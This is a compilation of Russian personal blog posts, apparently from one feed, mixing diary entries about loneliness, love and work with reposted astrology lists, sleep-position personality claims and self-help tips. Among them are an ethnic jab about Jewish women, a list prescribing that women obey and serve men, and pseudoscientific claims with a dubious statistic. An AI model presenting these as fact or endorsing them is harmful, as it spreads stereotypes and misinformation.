Жизнь - как звезды прекрасна и загадочна. Каждый день преподносит нам новые сюрпризы, иногда хорошие, а иногда не очень, Жизнь дает нам испытания, которые порой сложно преодолеть. Никогда не нужно здаваться, ведь из каждой ситуации есть выход. Найти решение легко, просто нужно довериться себе, своим мыслям и поверить в невозможное. Часто мы не верим в то, чего боимся, и становимся заложниками собственных страхов. Найти дверь в темной коробке, значит принять реальность. Выбор сложен для нас, можно жить на своей красочной планете или открыть глаза миру. Мы думаем не о том, о чем должны думать. Мы думаем о том, что делает из нас нелюдей.

да, памятный день! Четверг, мне слегка показалось, что мне с первого взгляда понравился человек. Мать его так, пора заканчивать пить! Это определённо был хмель.

Давно я не писала. Значит, д.р. прошло хорошо, столько неожиданностей) спасибо этим людям, я почти была согрета теплом!) Стесняшки!) Парадокс, почти все те, кто был недавно важен для меня - забыли об этом дне) ну и ладно, это точно новый этап в жизни!) Ведь в 22 все двери открыты, а те, что закрыты - легко приоткрыть хотя бы)))

На вьюи свое мнение лучше вообще не писать. Особенно если оно отличается от мнения кого-то. Сразу налетят люди, которые ничего не понимают и не знают. Особенно нравится, когда на меня налетают из-за моей жизни, которая этих людей вообще не касается. Буду закрывать нахуй блог от таких личностей. Еще бы я от каких-то незнакомых мне людей гадости читала.

И из последнего:

Если ты блондинка и у тебя черные брови - ты либо крашенная еврейка, либо Кара Делевинь. И то, они у нее подкрашены очень мастерски, так, что даже не черные а темный блонд. А вообще ее брови очень спорные. В других случая ты похожа на пугало. И это страшная правда. Прими ее и не неси чушь, что это нормально.

Всем спасибо за внимание.

21:36. я слушаю улицу. улица отзывается рекламой из телевизора, звоном домофона, лающими собаками, встревоженными кошками, тихими голосами случайных прохожих.

а еще улица пахнет. завтрашней осенью, ночью, свободой, паралельной жизнью. невыносимо пахнет табаком.

кофе с коньяком на ночь - не самая лучшая идея. но поиски себя никогда не бывали простыми.

еще мне невероятно хочется написать тут что-то эдакое. такое прямо выносящее. экспрессивное. тревожное. неожиданное. кричащее.

а нечего.

пустота.

Спорт…сделать ахуенную фигуру, правильное питание, и приучить себя каждый день мазаться кремами и делать всю остальную женскую всячину…хочу гордиться собой!!! Развиваться, начать наконец-то изучат те программы которые хотела!!! Ни шагу назад, только вперед!!!

невозможно «пить мало», «курить редко», «изменять жене в пределах разумного». нет «золотой середины» при определении степени порочности. нельзя деградировать в меру.

олег торсунов

Час ночи - время для грусти. Я смотрю фильм "На дороге" и мне так хочется не быть одной. На улице так красиво ночью. Лето для приключений, а я все сижу дома. Только в зал хожу. Хочу на природу хотя бы. Сегодня, правда, ездили с Димой в магазин за обувью. Потом пожарили пельмени и смотрели Офис. Он уехал и уже не вернулся на чай, потому что поехал на проводы одноклассника. Мне так грустно одной. Я знаю, что надо спать, но не хочется. Я потеряла двух своих друзей и Диме не нравится, что меня это расстраивает. Понимаю, почему он так к этому относится, но ведь он не стал стараться уделять мне больше внимания. Он стал нежнее, но когда он не рядом, я предоставлена самой себе. Он редко пишет просто так. Хотя я должна радоваться, что утром первый пишет. Да и вообще он ведь большую часть дня со мной проводит. Все свое свободное время. И я всегда считала, что могу проводить время в одиночестве и не чувствовать себя плохо. Но в последнее время я привыкла к тому, что могла кому-нибудь написать, что мне грустно. Хоть кому-нибудь. С подругами мы такое не обсуждаем. Странно. Ведь это девушки любят стихи и красивые пейзажи, и размышления о высоком. Но таких подруг сейчас у меня нет. Сегодня я вешала шторы, хоть и не хотела этого. Летом небо такое разнообразное и мне нравится смотреть утром на гору в тумане. Там есть один дом, на который я всегда обращаю внимание. Так вот, мне так понравился розовый закат, что я аж замерла. Не помню, когда я с Димой делилась подобными ощущениями. Наверное, ему кажется, что я предпочитаю приземленные радости. Секс например. Это я конечно люблю, но это ведь тоже поэтичным может быть. Хоть и не в моем случае. Возможно сама виновата, раз так хочу его и так много говорю ему о сексе. Но на самом деле, меня больше другие вещи волнуют. А сексуальные желания от новой меня. Они появляются только, когда я с Димой и получается относятся не ко мне, а ко мне с ним. Хочу сказать, что не я озабоченная, а его очень люблю просто. Не знаю, как мой монолог дошел до этого. Справедливо, скорее всего. Ведь он - все для меня. И моя любовь к нему - главное.

Сижу на девичнике. Скукотень. Пошли бабские разговоры об отношениях одной из тут сидящих и чувака какого-то. Выпила 3 бакала шампусика и бокал каниколы. В разговор не вмешиваюсь. Сижу, курю.

понимаешь, что как бы ты не старался сделать свою жизнь лучше - не получается, особенно остро, когда частенько видишь мелькающие посты на viewy про то, как люди проводят День Города, разные праздники с друзьями, родственниками, любимыми людьми. а вот у меня сегодня тоже День Города. и я поняла это пару секунд назад, когда какая-то компания устраивала салют под моими окнами :) знаете, это жестоко, когда ты и так дерьмово себя чувствуешь, а потом понимаешь, что. ты одинок. и это никак не избежать. порой мне кажется, что никогда, никогда, никогда у меня не будет того, что есть у всех. что никогда я не погуляю с друзьями по ночному городу, не отпраздную праздник так, чтобы ноги отваливались, а голова отказывалась работать, никогда не посмотрю на звезды с крыши какого-то здания, никогда не почувствую, как это, когда тебя провожают до дома, потому что уже поздно, никогда не узнаю, как это, ночевать у друга и драться подушками. никогда. и у меня наворачиваются слезы от того, что я хочу это изменить, я хочу почувствовать, что со мной кто-то есть, но я не могу изменить то, что есть. не могу изменить свое одиночество. не могу. не могу.

черт. слезы.

p.s. сейчас мне кажется, что это невероятно глупый пост. невероятно глупый пост про мою жизнь.

(x)

Малочисленным негативным отзывам порой хочется посоветовать поискать в Kingsman, Bluff storia di truffe e di imbroglioni и The Sting скрытый глубинный смысл уровня метафизики. Ведь это же не просто качественные развлекательные картины с хорошим стилем.

Часто бывает что я ищу какие-нибудь фотки на буке в папке с телефона. И постоянно тормажу на наших с ним общих. А потом час еще реву.
Оба гордыее до мозга костей.
Я знаю, что человек, который со мной на этих фотографиях вряд ли заходит в мой блог, по этому я могу написать это здесь.

Я, наверное, очень тебя люблю. Но фиг ты от меня это услышишь.

я обещала не играть в игры, не придумывать их, не воссоздавать.
стоп. обещала разве?

прости, но мы уже всё-равно безнадёжны.

ты знаешь, почти осень. ты знаешь, будь, что будет.
они мне все пророчили, что выживу и без тебя.

и я не знаю точно, где ты проводишь ночи.
зачем не ставишь точки. лишь там, где ты захочешь.
зачем мне пишешь редко и так цепляешь метко.
и ты уже никак не вылечишься из меня.

осенью пахнет, чувствуешь? сегодня вышла на улицу и ощутила. сразу вспомнила все эти бесконечно красивые осенние пейзажи, прохладные недождливые вечера, после которых так приятно приходить домой, плюхаться на диван и попивать свеженький горячий глинтвейн за просмотром любимого сериала.

все самое трудное, касаемое учебы, теперь позади, а временные рамки для жизни, для себя расширятся. а там Хэллоуин, а следом и Новый Год не за горами.

красота.

Скажу честно, для меня Раян Рейнольдс всегда был вон тем актером который король вечеринок и который снялся в том фильме про зеленого фонара, который я посмотрела один раз и забыла как страшный сон. А еще это же тот чел, который Дедпула играть будет! Так что для меня в драматической роли он представлялся слабо, но я рискнула посмотреть с ним фильм "Погребенный заживо".

Ребятушки, я в восторге.
В свое время подобные эмоции во мне вызвал фильм "127 часов" с Джейсом Франком. Тот вроде тоже ну откровенный дурачок, но на столько талантливый, что сыграл просто потрясающе. В этом случае было то же самое.
Во-первых я хочу сказать, что у меня на протяжении всего фильма попеременно перехватывало дыхание и складывалось ощущение, что мне нечем дышать. Хотя я тут возле открытого окошка сижу, если что.

Сыграл Рейнольдс тут отлично.
Страх, паника, ужас и огоньки призрачной надежды мелькали в его глазах, которые зритель мог видеть только в свете зажигалки либо небольшого фонарика.
Это было жутко.
От этого был мороз по коже.

Если честно, то я до самого конца надеялась вместе с главным героем.
Но концовка просто ужасна.
Я считаю, что подобные фильмы и являются настоящими фильмами ужасов.
Страшно от осознания того, что подобное действительно может с кем-то приключиться.

Однозначно 9 из 10.
Очень сильный фильм.

Всё. Надоело. Нельзя верить словам.

"Я хочу провести с тобой время".

Даа, поэтому опять пропадаешь. Сука, как я ненавижу это всё.

Быть ничем, не иметь ничего, не хранить ничего для себя - величайший дар, высшая щедрость.

Нисаргадатта Махарадж

А еще на небе было что-то невероятное. Огромное скопление безумно ярких, больших звезд (ну, или что это там было). Я впервые в жизни увидела малую медведицу. Если леша не обманул ахаха обожаю своих ребят, не всех, не всегда, но все же. Они все, что у меня есть.

Придти домой в 7 утра, уснуть, проснуться в 10 и опять пойти к Леше, это так по мне. На часах 9 вечера, я толькл зашла домой. За сегодня мы посмотрели слишком много серий "реальных пацанов", поиграли в божественную лайф из стрендж, подрались, убрались и пельмешек покушали. Как я тащусь от дней с ним. И даже маленькая ссора не испортит настроения мне. Надеюсь. А вообще, надо таблетки пить все-таки

Я как-то внезапно заболела. Ехала на работу - жутко быстро билось сердце, доехала - раскашлялась без остановки. После ночной смены, утром, почувствовала, что мне хуже: голова кружится, температура и болит горло. Добралась домой - встать с кровати не представляется возможным. Выходной прошел в спячке.

до встречи с наставником пять дней, а сегодня я узнала, что две девочки, с которыми я работаю, знают его! одна из них ходила к нему на дополнительные занятия, а другая и вовсе училась в моей школе, но ушла после девятого класса. обе заявили, что он чудесный учитель и замечательный человек.

так тепло стало после этих слов, так радостно.

но все же… какова вероятность подобной встречи?

— Что-что? Круциатус? Это что?
- Ну ты что, не помнишь что ли? Это же заклинание из Гарри Поттера!
- О господи, я уже давно всё забыла.
- Ну ты даешь! Я всё помню навсегда. Акцио, Вингардиум левиоса, люмос!
- Не тому ты в жизни значение придаешь…

Вообще-то тому.

В середине апреля, когда я была на практике и спала целыми днями дома, разбудил меня телефонный звонок от мамы, которая радостно сообщила мне: Я нашла тебе работу!" только открыв глаза, я в непонятках спросила: "Какую блин еще работу?" Конечно все было через маминых друзей. Они срочно искали девочку, которая смогла бы в ближайшее время приступить к работе вместо беременной Юли. Приехав туда, а офис находится на территории рыбного склада, я была не очень впечетлина. Поговорив со мной, Татьяна Юрьевна сказала: "Ты конечно решай сама, главное что бы было желание". Сказать честно на тот момент никакого желания у меня не было и самой главной причиной этому было, что придется рано вставать. И только потом уже как совместить с учёбой, как я буду дописывать диплом, как я вообще буду работать в 1С, не зная эту программу. 3 дня я ездила с обеда просто что бы смотреть, как работает Юля и каждый раз приходя домой мне хотелось спрятаться, потому что было все очень страшно и дико. Но с 20 апреля меня официально трудоустроили. Я знала, что у меня мало времени на то, что бы все узнать и понять. Я очень боялась даже щёлкнуть по ссылкам в программе. И вот когда наступил день Х и Юля с нами радостно попрощалась, вся ее работа легла на мои плечи. Конечно я очень много косячила в первые 2 недели, за что очень хорошо получала от Андрея. Ничего не успевала и приходила домой в 8.30, хотя мой рабочий день заканчиваться должен в 6. И вот в начале июня, когда мы ехали на работу мама сказала: "Ты себя недооцениваешь", на что я ей ответила: "Тут два варианта: либо я себя недооцениваю, либо вы меня переоцениваете". И вот 3 дня назад было уже 4 месяца моей работы в "Реал Фиш" из них 3 я работаю одна. Хочу сказать: я действительно себя недооценила. Сначала было очень сложно, но человек может приспособиться ко всему. В 1С сейчас я чувствую себя, как в Word. Спокойно и уверено. Укладываюсь четко в свое рабочее время. И даже 2 недели отработала сама, при этом выполняла не только свою работу. Могу смело сказать, если вы сомневаетесь в чем то, выбирайте то, что для вас будет лучше. Не бойтесь и не сомневайтесь. На самом деле сейчас я очень горжусь собой, работая я успела и написать диплом и защитить его и даже поступить дальше. Было желание да. Через все свои "не хочу". Работа показала мне, како сильной и стрессоустойчивой я оказывается могу быть. И встать в 8 утра для меня сейчас не составляет никакого труда. А самое главное, что теперь я могу материально помогать родителям и не от кого не зависить. И конечно для меня очень большое счастье, что первая работа и сразу по образованию бухгалтера. Верьте в себя, идите до конца, боритесь. Все будет, если есть желание.

Я очень хочу комп с нормальным интернетом, чтобы я могла смотреть что угодно. То что мне нравится. Хочу смотреть сериалы и тащиться от актеров. Хочу смотреть аниме и реветь ночами. Хочу смотреть гейпорно. Фильмы с лесби и геями. Хочу смотреть спортивные игры и болеть за них. Хочу смотреть фильмы и наслаждаться просмотром. Хочу слушать музыку когда захочу, а не ждать ночи чтоб использовать трафик на модеме. А все потому, что мы живем в общаге, которую отказываются обслуживать!! Бесит.аааааааа.

Я не старалась найти себе работу. Но совершенно случайно устроилась в пока не открытый маникюрны салон.
Жизнь очень странная штука, дает тебе то, что ты хочешь, даже если ты об этом еще сам не знаешь.
Интресная работа, но с низкой зарплатой. Фиг знет что из этого выйдет: (Но надеюсь, мне там будет нравится :)

Меня одну интересует, что будет с пабликами на которые мы сейчас подписаны ? Тоесть, мы же взрослеем, админы там тоже взрослеют, на какие темы там будут посты, картиночки ? Как менять пеленки в сложных условиях ?
Серьезно, на какие паблики будут подписаны дети нынешние, наши будущие.
Моя мама есть вк, и она подписана на какие-то умные мысли, лайфхаки, сделать своими руками, рецепты.
Эта дебильная тема не дает мне покоя уже давненько. И будеть очень интересно как с возрастом это все вообще происходит, как меняются вкусы. Может вообще стану такой занятой что уже будет не до интернета.

Смешно.
Инет олвэйс ин май харт.

знаешь
это капилляры внутри рвались, как шелк.
самое теплое, самое светлое.
в урну.
на твои похороны никто не пришел.
потому что ты умер.
просто внутри меня.
ты умер.

Почему на телефоне фотка такая что хочеться маслать на неё сутками, а на кампе так уродец столетия ? Фу блять.

только затянулась и тут звонит кл руководитель и говорит, что ты ведущая на 1 сентября. утром в шк, а ты уже подсчитываешь отпустит ли тебя.

сейчас реальное осознование того, что начинается учёба. я не готова. никак.

В общем встречались мы 6 месяцев, на расстоянии. Да-да, знаю-знаю. Но это было волшебство. Сначала я приехала к нему, в первый день познакомил с семьей, с друзьями, все было шикарно, возил меня по всем местам, в любви признавался, говорил, что любит больше, чем бывшую (с ней 3 года был). Потом очень скучал, писал, звонил, потом приехал в Россию ко мне, перед этим правда был немного невнимателен, но объяснял работой, опять все шикарно, встретился с мамой моей. Сказал: ты для меня верный человек и то, что нам идеально вместе. Потом уехал в июле, было много работы и мы меньше стали общаться, но он писал: я люблю тебя, это все из-за работы..затем поехал на фестиваль(перед этим мы должны были мой приезд обговорить, так и не поговорили, хотя он все сообщ читал) потом все опять хорошо. Потом ссоры небольшие, сказал, что ему тяжело. Затем он поступил и переехал на новую квартиру с ребятами из университета и понеслось. Я купила билеты на 24(то есть завтра) он знал, сказал-да. Потом переписывались 1-3 сообщ в день. И последний раз говорил о любви1,5 недели назад. Потом только сердечники присылал. А 3 дня назад выдал: я начинаю новую жизнь, у меня учеба и нужно время для себя, я думаю нам стоит остановить все. Я молчу. Он; мне тяжело, почему ты не отвечаешь..я:у меня билеты. Ночью удалил статус в фэйсбуке сп в смысле И вроде с мамой его он договорился наутро в пт, что встретит меня на ее машине. А потом опять передумал, т.к. Я с дуру все фотки скрыла там. Ну и он такой:это нехорошая идея, я верну тебе деньги. Решила написать, что люблю и все такое. Он: понимаешь, мы не вместе. не сейчас, может через несколько месяцев, когда мы станем друзьями. Я верну тебе деньги. Я не знаю Я молчу Уже лететь смысла нет Но вот как так за 2 недели все рушится?? С ним рядом все идеально И я знаю, если б он увидел меня все опять стало бы хорошо.. Но навязываться уже противно Что делать? Я так хочу увидеть, даже в последний раз…

Знаки зодиака, когда они устали:
Овен: Игнорирует все и вся.
Телец: Смотрит в пустоту, пока вы пытаетесь поговорить с ним.
Близнецы: Ноет о том, как они устали, но отрицает это.
Рак: Раздражительный и капризный
Лев: Делает все медленно.
Дева: Путается во всем и ходит с печальными глазами.
Весы: Говорит всем заткнуться, чтобы он смог вздремнуть.
Скорпион: Делает все, чтобы не ложиться спать.
Стрелец: Засыпает на месте.
Козерог: Никогда не устает.
Водолей: Жалуется на все без остановки.
Рыбы: Скрывает свою усталость.

Поза, в которой вы спите расскажет многое о вас

Выбирайте позу в которой вы любите спать и можете почитать о себе немного интересного…

1. Эмбрион - Некоторые люди скручиваются калачиком и спят в такой позе, очень напоминающей позу эмбриона в утробе матери. Такие люди обычно сильные, целеустремленные и порой жестокие, но это только внешняя оболочка. Внутри такие люди очень чувствительны и ранимы. Иногда они стесняются при встрече и разговоре с незнакомым человеком, но через некоторое время приходят в норму и чувствуют себя довольно комфортно. Так спит примерно 41% из 1000 опрошенных. Стоит подчеркнуть, что в такой позе спят больше женщины, нежели мужчины…

2. Бревно - Человек спит спокойно, руки вытянуты по швам. О таких людях стоит сказать, что они бывают немного циничными и недоверчивыми к окружающим. Они любят находиться в обществе, и доверяют незнакомым людям. Их можно назвать легкомысленными.

3. Целеустремленный - Они спят с вытянутыми перед собой руками, принято считать, что это люди с открытой душой, но порой они бывают чересчур циничными. Они долго обдумывают любое решение, но если приняли его, никогда не откажутся от своего и будут стоять до последнего.

4. Солдат - Эти люди спят на спине, руки вытянуты вдоль тела, ноги ровно, как бы по стойке смирно, но только лежа. Эти люди очень спокойные, а порой даже замкнутые. Они никогда никуда не спешат, люди, спящие в такой позе, не любят суеты и хаоса. Это люди с высокими, а порой даже завышенными стандартами.

5. Свободное падение - Люди лежат на животе, руки прячут под подушку, а голову поворачивают в сторону. Это очень противоречивые люди, они могут быть коммуникабельными и дерзкими, воспитанными и наглыми. Они нервные и легкоранимые. Эти люди не любят бывать в экстиримальных ситуациях и слушать критику в свой адрес.

6. Морская звезда - Эти люди спят на животе, руки расставлены в стороны. Спящие в таком положении очень открытые и коммуникабельные личности, они очень быстро заводят новых друзей, так как открыты для окружающих и умеют слушать собеседников. Если их друзьям нужна помощь, именно эти люди первыми придут на помощь. При всей своей общительности, они не любят быть в центре всеобщего внимания.

Перестать быть активным участником происходящего и стать простым наблюдателем. Это не значит сидеть сложа руки. Но это значит принимать некоторые события без каких-либо последствий для себя.
Ты не бесчувственный чурбан, ты просто находишься в каком-то другом мире, на другом личном уровне. Там, где нет места самобичеванию, злобе, недоверию, истерикам.

Печаль? Только светлая и тихая. Недовольства? Только мимолетная, кратковременная эмоция. Ни в коем случае не образ жизни, понимаешь?

можно миллионы раз за свою жизнь влюбляться, терять аппетит, нервно истощаться из-за каждой любви. это может происходить множество раз. но потом найдётся одна любовь. настоящая. которая станет единственной половиной на весь остаток жизни. любовь, от которой пропадёт не аппетит, а эгоистичный разум. вот такая любовь и изменит Вас

Знаки зодиака, как типы волос:
Прямые: Овен, Близнецы, Лев, Козерог
Волнистые: Дева, Скорпион, Стрелец, Водолей
Кудрявые: Телец, Рак, Весы, Рыбы

Как знаки зодиака поднимут тебе настроение:
Овен: Пообещает отомстить за тебя.
Телец: Приедет к тебе или умрет.
Близнецы: Будет шутить, чтобы заставить тебя улыбаться.
Рак: Плечо, в которое можно выплакаться. Вы никогда не будете раздражать его.
Лев: Сделает все, что тебе нужно.
Дева: Поможет проанализировать твои чувства.
Весы: Невероятно чуткий и прекрасный слушатель.
Скорпион: Даже его присутствие успокаивает.
Стрелец: Не позволит тебе грустить слишком долго.
Козерог: Готов оставить все, чтобы провести время с тобой.
Водолей: Даст тебе все, что нужно.
Рыбы: Очень понимающие и успокаивающие личности.

У каждой девушки есть мужчина, к которому она всегда возвращается.
И он может быть главным из бесславных ублюдков. Может причинить столько боли, сколько все вместе взятые бывшие и даже будущие не смогли и не смогут причинить.
Каждый раз, когда ты (да, обращаюсь непосредественно к каждой девушке) к нему будешь возвращаться, он фактически будет плевать в душу горьким и медленным ядом. Безразлично и холодно вновь разбивать сердце, как фанаты разных команд разбивали друг другу лица в "Хулиганах зеленой улицы".
Ты будешь всегда с ним тогда, когда ему будет плохо. Будешь сидеть рядом, пить неразбавленный виски.
Будешь стоять на балконе, молча слушая терзания его души, и смолить Мальборо, которые, кстати, ненавидишь.
Всегда будешь поддерживать его, даже если у самой душа будет разрываться и трещать по швам.
Эта связь будет тебя фактически душить и душить, и только этот мужчина сможет освободить тебя. Ты будешь постоянно пытаться порвать, сжечь все и уйти навсегда, но каждый раз, когда он только подзовет тебя, ты пойдешь навстречу, наплевав на все клятвенные заверения не оглядываться на прошлое.
Он будет идти вперед и тянуть тебя за собой. Ты попытаешься уцепиться за настоящее, но он просто тебя не отпустит и будет тащить, тащить за собой, как на веревке.
У тебя ладони и колени стерты в кровь уже, а он держит, мысленно.
И ты, в принципе, можешь ненавидеть его всеми фибрами души, но, если вдруг он позовет тебя, ты вернешься.
А ведь он может отпустить.
Может, но не сделает это.
Он намеренно закрывает глаза на все, что сделал, на все творения рук своих.
Ему так проще жить и двигаться дальше, зная, что ты будешь маячить где-то рядом.

12 советов, как правильно начать свой день

1.Первый час дня — золотой час. Робин Шарма утверждает, что первый час дня самое важное время. Первый час лучше посвятить саморазвитию и работе над собой. Не включайте никаких компьютеров и телевизоров. Чтобы ничто не забивало ваш мозг ненужной информацией. Занимайтесь саморазвитием: написанием личных заметок, медитацией и размышлением, чтением вдохновляющих книг. Помните, насколько эффективно пройдет ваш первый час после пробуждения, таким будет весь день. Занимайтесь полезными делами, и будьте очень эффективны хотя бы первый час. Дальше все пойдет само.

2.Утренние страницы. Утро самое лучшее время для написания утренних страниц. Уже этим занимаюсь не первый год и не собираюсь бросать. Утренние страницы очень хорошо освобождают голову от всего ненужного. Когда пишу, то чувствую связь с самой собой. Утренние страницы — это тоже самое, что и ведение личного дневника.

3.По утрам можно медитировать. У меня медитации не получаются. Единственная медитация, которую я делаю это Медитация прощения. Обычно делаю эту медитацию, когда мою посуду или принимаю душ, так же во время прогулок. Еще одна медитация это Шавасана, из йоги, когда лежишь не двигаясь 10-15 минут, и стараешься ни о чем не думать. Утром после сна ее не стоит делать, лучше в течении дня, а то уснете снова.

4.Аффирмации. По утрам так же полезно говорить позитивные утверждения, они задают хороший настрой на весь день. Мне нравится вот эти: «Каждый день я наслаждаюсь жизнью». «Я праздную каждый свой день» и «Жизнь — это бесконечный поток радости, успеха и изобилия».

5.Полезные книги. Можно читать нужные книги. У меня обычно утром нет свободного времени, так как все уходит на написание утренних страниц и занятие тайчи цигуном. Но если вы не любите что-то писать, тогда читайте. Читайте хотя бы 30 минут в день. Так можно прочитать не одну книгу, и даже самую сложную и трудную можно осилить. Рекомендую 100 книг для саморазвития.

6.Занимайтесь спортом. Лучшее время для занятий спортом — это утро. По утрам намного легче себя заставить заниматься. Да, ради этого придется раньше вставать. Если вам трудно приучить себя заниматься спортом, тогда делайте это с утра. Утром сопротивления гораздо меньше. Сделал дело и весь день свободен. Мне нравится утром делать тайчи-цигун, потому что есть силы и практически не устаешь. Это со временем становится полезной привычкой.

7.Важные дела. Если вы работаете на работе или фрилансите, то все важные дела оставляйте на первую половину дня. По утрам даже самые сложные и трудные дела делаются играючи. Поэтому издавна школы и университеты работали именно с 9 часов. Утром очень высока творческая активность. Статьи пишутся намного легче.

8.План на день. По утрам хорошо заниматься планированием всего дня. Нужно записать свои цели на день и программу минимум того, что надо сделать.

9.Утро должно быть спокойным и расслабляющим. Никакой спешки и нервотрепки. Если у вас без этого не бывает, тогда вы возможно поздно встаете. Сейчас мы с мужем вместе встаем по утрам. Я его провожаю на работу. Оба с утра распределяем время по таймеру, чтобы успеть сделать все дела и при этом еще вместе позавтракать. С уверенностью могу сказать что утро лучшее время, когда можно побыть вместе и поговорить по душам. По вечерам, когда оба уставшие, уже не остается на общение сил ни у него ни у меня.

10.Статьи по утрам. Когда муж уходит на работу, я стараюсь посвятить один час написанию будущих статей для блога. Делаю это в виде черновиков и заметок. По теории десяти тысяч часов, один час в день маловато. Но когда написанию выделяешь хотя бы час, то черновиков потом собирается очень даже немало. Уже есть с чем дальше работать.

11.Упражнение на Благодарность. По утрам так же можно записывать все, за что вы благодарны. Это настраивает вас на нужный лад. Записывать или проговаривать нужно все, за что вы благодарны Вселенной. Помните в фильме Секрет был Камень Благодарности? Так и вы можете завести себе такой ритуал благодарения. За что благодарить? За ваше здоровье, ваши возможности, ваши таланты, здоровье вашей половинки, ваших родителей, за еду на вашем столе, за крышу над головой.

12.Стакан воды. Сразу после подъема выпивайте по одному стакану воды. Так ваш организм восполнит недостаток влаги, а вы сами быстрее проснетесь. Некоторые еще заряжают воду позитивными утверждениями.

Правильное начала дня может многократно повысить вашу эффективность. По утрам очень хорошо заниматься саморазвитием. Если ваше утро будет очень продуктивным, то к обеду вы с удивлением заметите как сделали все, что планировали. У вас появится свободное время, которое можно потратить на любимые занятия или поиск своего призвания.

Единственная трудность, это приучить себя к раннему подъему. Так что первое время вам придется бороться с желанием поспать.

25 ОБЯЗАННОСТЕЙ МУЖЧИНЫ И ЖЕНЩИНЫ

Обязанности Мужчины
1.Брать на себя лидерство в отношениях мужчина-женщина.
2.Внешняя политика — наличие друзей, отношения с людьми.
3.Давать Женщине сладкую пищу, украшения, красивую одежду.
4.Денежный заработок.
5.Расширения пространства – дом, квартира.
6.Найти работу согласно своей природе.
7.Давать вдохновение Женщине – разрешение мужчины.
8.Уважать Женщину.
9.Почитать Женщину и защищать её.
10.Не осуждать Женщину, т.е. принимать ее такой, какая есть.
11.Не обсуждать Женщину.
12.Быть ответственным за нравственное воспитание.
13.Быть ответственным за физическое развитие.
14.Быть ответственным за духовное воспитание.
15.Быть главой в воспитании детей.
16.Быть уважаемым человеком в обществе.
17.Быть серьёзным человеком.
19.Быть любящим – так, чтобы женщина это чувствовала.
20.Понимать изменчивую природу женщины.
21.Для мужа – он обязан почитать и уважать родителей жены, больше чем своих.
22.Устанавливать принципы совместной жизни – понимание смысла жизни.
23.Разделять сферы влияния совместной жизни – чтобы мужчина понимал, где его дела, а где женские.
24.Определить, найти свою природу (интеллектуалы; руководители; торговцы; творящие своими руками).
25. Для мужа – родители мужа обязаны почитать и уважать невестку больше, чем сына.

Обязанности Женщины

1.Создать семью.
2.Сохранять семью.
3.Вдохновлять Мужчину.
4.Организовать все домашние дела.
5.Выполнять все домашние дела.
6.Быть верной Мужчине телом, делом и в мыслях.
7.Стать лучшим другом Мужчины.
8.Быть красивой и сексуальной для своего Мужчины.
9.Вдохновлять Мужчину.
10.Кушать сладкую пищу.
11.Носить украшения.
12.Наслаждаться красивой одеждой.
13.Носить длинные юбки.
14.Всегда ощущать близость любимого Мужчины, не отдаляться.
15.Уважать Мужчину.
16.Ценить Мужчину и восхвалять Его.
17.Восхищаться Мужчиной.
18.Подчинятся Мужчине.
19.Умение управлять своими эмоциями.
20.Иметь выдержку – терпение.
21.Разговаривать тихим и ласковым голосом.
22.Быть чуткой.
23.Участвовать в воспитании детей.
24.Служить Мужчине – все делать с любовью.
25.Не выполнять обязанности Мужчины.

Откровенное признание женатого мужчины, который продолжает ходить на свидания

Я хочу признаться: я встречаюсь с женщиной, хотя я женат.

Она невероятная. Она красивая, умная, сообразительная, сильная, и ее вера в Бога неизмерима.

Мне нравится ходить с ней вместе в кафе, в кино, на выставки и всегда говорить ей, какая она красивая. Я не могу вспомнить, когда в последний раз был зол на нее хотя бы пять минут. Как бы ни прошел мой день, ее улыбка всегда меня ободряет. Иногда она делает мне сюрпризы, готовит для меня что-нибудь особенное. Каждый раз я просто вне себя от счастья, что встретил такую, как она, несмотря на то что я женат.

Тебе тоже стоит попробовать, и ты заметишь, как твоя жизнь изменится к лучшему. О, думал ли я, что женщина, с которой я буду встречаться, окажется моей женой? А о чем ты подумал?

Если ты женат, это не значит, что жизнь закончилась. Я хочу продолжать ходить на свидания со своей женой, даже несмотря на то, что мы женаты. У меня не пропадет желание постоянно ее завоевывать только потому, что однажды она сказала „Я согласна“.

Часто я вижу, что в отношениях наступает угасание из-за того, что оба супруга больше не стараются каждый день заново узнавать друг друга. Продолжая устраивать свидания, вы будете каждый раз узнавать что-то новое друг о друге. Почему же нужно прекращать это делать? Это не должно кончаться никогда.

Чувство, что бабочки порхают в животе, совсем как на первом свидании, может появляться и через два года. Изо дня в день нужно вести себя так, как будто вы только что познакомились, и тогда каждый из вас почувствует значительные изменения в отношениях.

Общение и постоянная заинтересованность друг другом — вот ключ к успешным отношениям. Никто не хочет быть вместе с человеком, который не проявляет интереса к другому.

Я советую тебе не прекращать приглашать свою жену на свидания, стремиться к этому всем сердцем и понять, что свидания не заканчиваются после слов „Я согласен“».

Что не любят знаки зодиака:
Овен: Стоять в очереди, Опаздывать, Нерешительность
Телец: Командовать людьми, когда толкают слишком сильно, громкое поведение
Близнецы: Пустая трата времени, Скука и скучающие люди, не знать, что происходит
Рак: Резкие слова, необходимость, быстро реагировать, беспорядок
Лев: Не получать должной оценки, холодная погода, физическая активность
Дева: Когда их личные вещи попадают к другим людям, дерзкие люди, сидеть на месте долгое время
Весы: Плохие манеры, быть одиноким, дисгармония
Скорпион: Тайны, которые они не могут узнать, раскрывать слишком много, амбивалентность
Стрелец: Бессодержательные разговоры, наряжаться, неодобрение от других людей
Козерог: Неуважение, когда его дразнят, причуды
Водолей: Слишком много эмоций, когда их действия принимают как должное, ложная реклама
Рыбы: Тесная одежда, резкий и яркий свет, равнодушные люди

Разбивает сердца/Разбитое сердце
Разбивают сердца: Овны, Близнецы, Львы, Весы, Скорпионы, Стрельцы, Козероги
Разбитые сердца: Тельцы, Раки, Девы, Водолеи, Рыбы

Знаки зодиака, когда спят:
Овен: Говорит и вопит во сне.
Телец: Видит еду во снах.
Близнецы: Не могут заснуть.
Рак: Плачет во сне.
Лев: Слишком жарко, слишком холодно, слишком темно.
Дева: Ходит во сне и бежит в дверь.
Весы: Мочится в постели.
Скорпион: Смотрит аниме всю ночь.
Стрелец: Перекатывает собаку.
Козерог: У него самые СТРАННЫЕ сны.
Водолей: Обнимает подушку и плачет, какой он одинокий.
Рыбы: Снятся кошмары о том, как их ест скорпион.

Сон.
" Сон для слабаков": Стрелец, Скорпион, Козерог.
" СОН ДЛЯ МЕРТВЫХ": Весы, Водолей, Дева.
Забывают про сон: Овен, Рыбы, Рак.
Спят всегда: Лев, Телец, Близнецы.

Эстетика знаков зодиака.
Овен: Бассейны, холодные напитки летом. Туманные оранжево-желтые закаты, страстные поцелуи. Прикосновения к волосам. Длинные поездки на автомобиле с друзьями, встречать рассвет. Длинный сон, кричать вместе с музыкой.

